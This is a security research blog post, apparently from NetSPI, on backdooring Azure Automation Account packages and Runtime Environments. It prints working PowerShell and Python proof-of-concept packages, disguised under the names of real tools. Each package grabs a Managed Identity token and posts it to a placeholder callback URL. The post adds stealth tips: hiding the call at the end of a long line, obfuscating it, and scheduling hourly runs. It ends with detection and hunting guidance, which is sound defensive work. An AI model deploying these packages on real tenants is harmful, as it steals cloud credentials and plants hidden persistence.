Short Summary:
The article discusses the evolution of Azure Automation Accounts, particularly the introduction of Runtime Environments, which allow for custom PowerShell modules and Python packages. It highlights the potential security risks associated with malicious packages that can be uploaded to these accounts, enabling attackers to gain persistent access through backdoored modules. The article also outlines methods for creating and uploading malicious packages and provides detection and hunting recommendations for identifying such threats.
Key Points:
- Azure Automation Accounts now support custom PowerShell modules and Python packages.
- Runtime Environments replace traditional module management, allowing for more flexible execution environments.
- Attackers can upload malicious packages to Automation Accounts for persistent access.
- Steps to create and upload malicious packages in both PowerShell and Python are provided.
- Detection strategies include reviewing custom modules and using PowerShell scripts to enumerate packages.
- Recommendations for monitoring Azure Activity Logs to detect unauthorized package uploads.
MITRE ATT&CK TTPs – created by AI
- Credential Dumping (T1003)
- Exfiltration of Managed Identity tokens via HTTP callbacks.
- Supply Chain Compromise (T1195)
- Malicious packages uploaded to Azure Automation Accounts.
- Persistence (T1136)
- Using backdoored modules for persistent access to Automation Accounts.
- Command and Control (T1071)
- HTTP callbacks to exfiltrate tokens.
Over the years, the Azure Automation Account service has grown and changed significantly. One of the more recent changes is the introduction of Runtime Environments to replace the more traditional module and package management functionality. Azure Automation Accounts have long been a focus of posts on the NetSPI Blog, but we have not really focused on attacks against the modules or packages that support the accounts. The Automation Account service allows you to specify your own custom modules and packages to use in your runbooks, which can be back-doored to allow an attacker persistent access to the Automation Account.
Additional Resources:
- Maintaining Azure Persistence via Automation Accounts
- Using Azure Automation Account to Access Key Vaults
- Pivoting with Azure Automation Account Connections
Prior to the introduction of Runtime Environments, all of the PowerShell modules and Python Packages have been managed in the Portal under the “Modules” and “Python packages” menus. At the time of writing, it is still the standard package management option, so you may not have the Runtime Environments preview enabled yet. These menus allow Automation Account admins to add additional functionality to their PowerShell and Python runbook environments. As a point of terminology, we will use the terms “packages” and “modules” interchangeably throughout the rest of the blog.
TL;DR
- Azure Automation Accounts allow custom PowerShell modules and Python packages
- PowerShell Gallery modules are also supported
- Malicious packages can be uploaded to an Automation Account by attackers
- The packages can then be called in runbooks for persistence
- We’ve included steps below to replicate the process
- We’ve created a tool (Get-AzAutomationCustomModules) to help list custom modules/packages that are used in a subscription
What are Runtime Environments?
The Runtime Environments feature (currently in preview) allows users to set up custom execution environments for Automation Account Runbooks. This allows users to configure specific packages that can be used for an Automation Account container. This gives greater flexibility for an Automation Account, without creating package bloat on the base containers.
It should be noted that in the new Runtime Environments system, the base “System-generated Runtime environments” cannot be modified in the portal to include additional packages. However, if you switch back to the old experience, you can add packages that will then carry over to the new System-generated environments when you switch to the Runtime Environments feature.
It’s an interesting quirk, but once the feature becomes standard, it’s unlikely that you will be able to change these base environments. If this does become the standard going forward, an attacker would need create a new runtime, inject a malicious package into it, and swap the environment over for the target runbook. Alternatively, they could just create a new runbook and assign a new Runtime Environment to it.
Creating a Malicious Package – PowerShell
In order to attack the Automation Account, we will need to create a malicious package. Keep in mind that the package name will be very visible in the Runtime Environment menu, so it may make sense to “borrow” a package name from a known package. You could just take an existing package file, modify it, and upload it, but for our proof of concept examples, we will show how to create your own custom packages.
In both custom package examples, we will create functions that will generate a Managed Identity token for the Automation Account, and exfiltrate the token via HTTP to a callback URL (YOUR_URL_HERE). Overwrite the hardcoded URL in the example files to use this yourself.
Note that all of the example files are available under the “Misc/Packages” folder in the MicroBurst repository.
In this PowerShell proof of concept, we’ll borrow the PowerUpSQL name for our module. For starters, we will create a basic PowerShell package. The most basic PowerShell package consists of two files, a psd1 that outlines the module and a psm1 that contains the code.
PowerUpSQL.psd1
@{
# Script module or binary module file associated with this manifest.
RootModule = 'PowerUpSQL.psm1'
# Version number of this module.
ModuleVersion = '1.105.0'
# ID used to uniquely identify this module
GUID = 'dd1fe106-2226-4869-9363-44469e930a4a'
# Author of this module
Author = 'Scott Sutherland'
# Company or vendor of this module
CompanyName = 'NetSPI'
# Copyright statement for this module
Copyright = '(c) 2024 NetSPI. All rights reserved.'
# Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export.
FunctionsToExport = '*'
# Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export.
CmdletsToExport = '*'
# Variables to export from this module
VariablesToExport = '*'
# Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export.
AliasesToExport = '*'
}
PowerUpSQL.psm1
function a {
param(
[string] $callbackURL = "https://YOUR_URL_HERE/"
)
# Hide the warning output
$SuppressAzurePowerShellBreakingChangeWarnings = $true
# Connect as the System-Assigned Managed Identity
Connect-AzAccount -Identity | Out-Null
# Get a token
$token = Get-AzAccessToken | ConvertTo-Json
# Send the token to the callback URL
Invoke-RestMethod -Uri $callbackURL -Method Post -Body $token | Out-Null
}
Export-ModuleMember -Function a
In this example, we’ve just named our function “a”, but you can name it whatever you want. A single letter might get overlooked, but using something that looks legitimate (Example: Get-AzAutomationAccountUpdates) may also work better.
The Automation Account will be looking for a zip file, so zip the two files together and name it after your module. Regardless of what is in the psd1 file, the portal will show the module name as whatever the zip file name was, so keep that in mind.
Creating a Malicious Package – Python
For the Python package, we will need the following files in a directory:
your_project/ ├── your_module/ │ ├── __init__.py │ └── other_module_files.py ├── README.md ├── LICENSE ├── setup.py
For our Python proof of concept, we’ll use aws_consoler (another NetSPI tool) as the module target, so our folder will be aws_consoler and the module file will be aws_consoler.py. Please keep in mind that you may have to change specific fields (python_requires) below depending on your use case.
setup.py
import setuptools
with open("README.md", "r") as fh:
long_description = fh.read()
setuptools.setup(
name="aws_consoler",
version="1.1.0",
author="Ian Williams",
author_email="ian.williams@netspi.com",
description="A utility to convert your AWS CLI credentials into AWS "
"console access.",
long_description=long_description,
long_description_content_type="text/markdown",
packages=setuptools.find_packages(),
classifiers=[
'Development Status :: 2 - Pre-Alpha',
'Intended Audience :: Developers',
'License :: OSI Approved :: BSD License',
'Natural Language :: English',
'Programming Language :: Python :: 3.8',
],
python_requires='>=3.8',
)
__init__.py
Although we’re not using a function for this example, this file needs to try to import any functions that it can from our malicious Python file:
from .aws_consoler import *
aws_consoler.py
import os
import requests
import json
endpoint_url = "https:// YOUR_URL_HERE"
identity_endpoint = os.getenv('IDENTITY_ENDPOINT')
if not identity_endpoint:
raise ValueError("IDENTITY_ENDPOINT environment variable not set.")
# Fetch the token
params = {
'api-version': '2018-02-01',
'resource': 'https://management.azure.com/'
}
headers = {
'Metadata': 'true'
}
try:
response = requests.get(identity_endpoint, params=params, headers=headers)
response.raise_for_status()
token = response.json()
# Send the token to the specified endpoint
post_headers = {
'Content-Type': 'application/json'
}
data = {
'token': token
}
post_response = requests.post(endpoint_url, headers=post_headers, data=json.dumps(data))
post_response.raise_for_status()
#return post_response.json()
except requests.exceptions.RequestException as e:
print("An exception occurred")
In order to be uploaded to the Python Runtime Environment, we will need to compile these files into a WHL file. This can be done in python with the following command:
python3 setup.py bdist_wheel
Uploading a Malicious Package
Now that we have our zipped/compiled packages, we will first show how the current (old) style of module/package upload works. There are two menus that cover this functionality – Modules and Python packages:
The upload for both options is very simple. You can use the “Add a module” and “Add a Python Package” buttons in the appropriate menus to start the process. Select your file to upload, your Runtime version, name the package, and select import. Keep in mind, that any packages that you upload in the old system will carry over to the new System-generated environments in the Runtime Environments interface.
If you are working with a Runtime Environment, the process is going to be very similar. At this point, we have two options – Modifying an existing Runtime Environment or creating a new one and assigning runbooks to it.
By modifying an existing Runtime Environment, you will have fewer indicators of your malicious package activities. However, this will not work in cases where the runbooks are using the system-generated environments. It’s not possible to add additional packages to those environments in the current interface, so you would have to create a new environment to move (Under the “Update Runtime Environment” menu) the runbook to. Alternatively, you can switch back to the old experience, add your packages to the environment, and switch back.
Using the Packages
Once we have added our malicious packages to the Automation Account and/or Runtime Environment, we will need to call them in a runbook in order to use them. Since the sample code calls back to a URL with a Managed Identity token, make sure that you have your HTTP listener ready to go.
For PowerShell runbooks, you can just add a line to call your new function. If you want to be extra sneaky about it, end an existing PowerShell line with a “;” and add your new function after that. If the line is particularly long, there’s a decent chance that it will get overlooked by being at the end of the line. Technically, you could also throw any other PowerShell obfuscation technique at the function name at this point as well.
For the Python runbooks, you will need to import the package (aws_consoler):
import aws_consoler
If you’ve modified an existing runbook, you can just wait for it to be run. If you created a new runbook, now would be a good time to schedule the runbook (once an hour?) to regularly check in with a token for you.
As a final note for persistence, if you have the ability to write runbooks and packages, you probably have the ability to write webhooks for the runbooks. These are a bit out of scope for this blog, but they are a nice way to generate a persistence mechanism for calling an Automation Account runbook, if you get removed from an environment.
Detection and Hunting Recommendations
To help detect any existing malicious packages in your Automation Accounts, you can manually review your current modules and packages for any custom modules in the Azure portal.
Alternatively, we have written a PowerShell script (Get-AzAutomationCustomModules) that will enumerate all of your Automation Accounts and will output a list of custom packages. This utilizes an authenticated Az PowerShell module connection to make the calls, so make sure to Connect-AzAccount before running the tool.
The tool usage is pretty simple, just import the module (ipmo Get-AzAutomationCustomModules.ps1) and run the function “Get-AzAutomationCustomModules -verbose”.
The output is pipeline friendly, so you can pipe it to Export-Csv for further review. Due to how the old package management system worked, you may also see some of the previously updated packages as custom packages. I have an older Automation Account that I was testing the script against and found that the AzureRM, Azure, and AzureAD modules were showing up as custom. I’m not 100% sure how they ended up that way, but I believe these are false positives that you may also run into.
Detection and Hunting Opportunities
See below for additional detection and hunting opportunities:
Detection Opportunity #1: Packages added to an Azure Automation Account
Data Source: Cloud Service
Detection Strategy: Behavior
Detection Concept:
Using Azure Activity Log, detect on when any of the following actions are taken against an Automation Account via Azure Credentials:
- Microsoft.Automation/automationAccounts/runbooks/draft/write
- Microsoft.Automation/automationAccounts/runbooks/publish/action
- Microsoft.Automation/automationAccounts/jobs/write
- Microsoft.Automation/automationAccounts/listbuiltinmodules/action
- Microsoft.Automation/automationAccounts/powershell72Modules/write
- Microsoft.Automation/automationAccounts/runtimeEnvironments/packages/delete
- Microsoft.Automation/automationAccounts/runtimeEnvironments/write
Detection Reasoning: A threat actor can use the package upload function to add packages to the Automation Account. Once added, the malicious packages can be used in a runbook.
Known Detection Consideration: None
Hunting Opportunity #1: Automation Account Package File Inspection
Data Source: Cloud Service Metadata
Detection Strategy: Signature
Hunting Concept:
Using the previously noted PowerShell function (Get-AzAutomationCustomModules), it is possible to review custom packages that have been added to an Automation Account.
Detection Reasoning:
Any malicious packages that are added to an Automation Account will show up as custom packages. This script collects all of the custom packages for an Automation Account.
Known Detection Consideration: None
Conclusions
Given other recent supply chain attacks, I don’t think that it’s unreasonable to expect a threat actor to attempt poisoning packages that are used by Automation Accounts. That said, I have not seen this persistence technique being used in the wild, but we have been talking about this idea for a number of years. Now should be a good time to take a quick look at the packages that you have in your Automation Accounts to see if there’s anything unexpected lurking in the containers.
The post Backdooring Azure Automation Account Packages and Runtime Environments appeared first on NetSPI.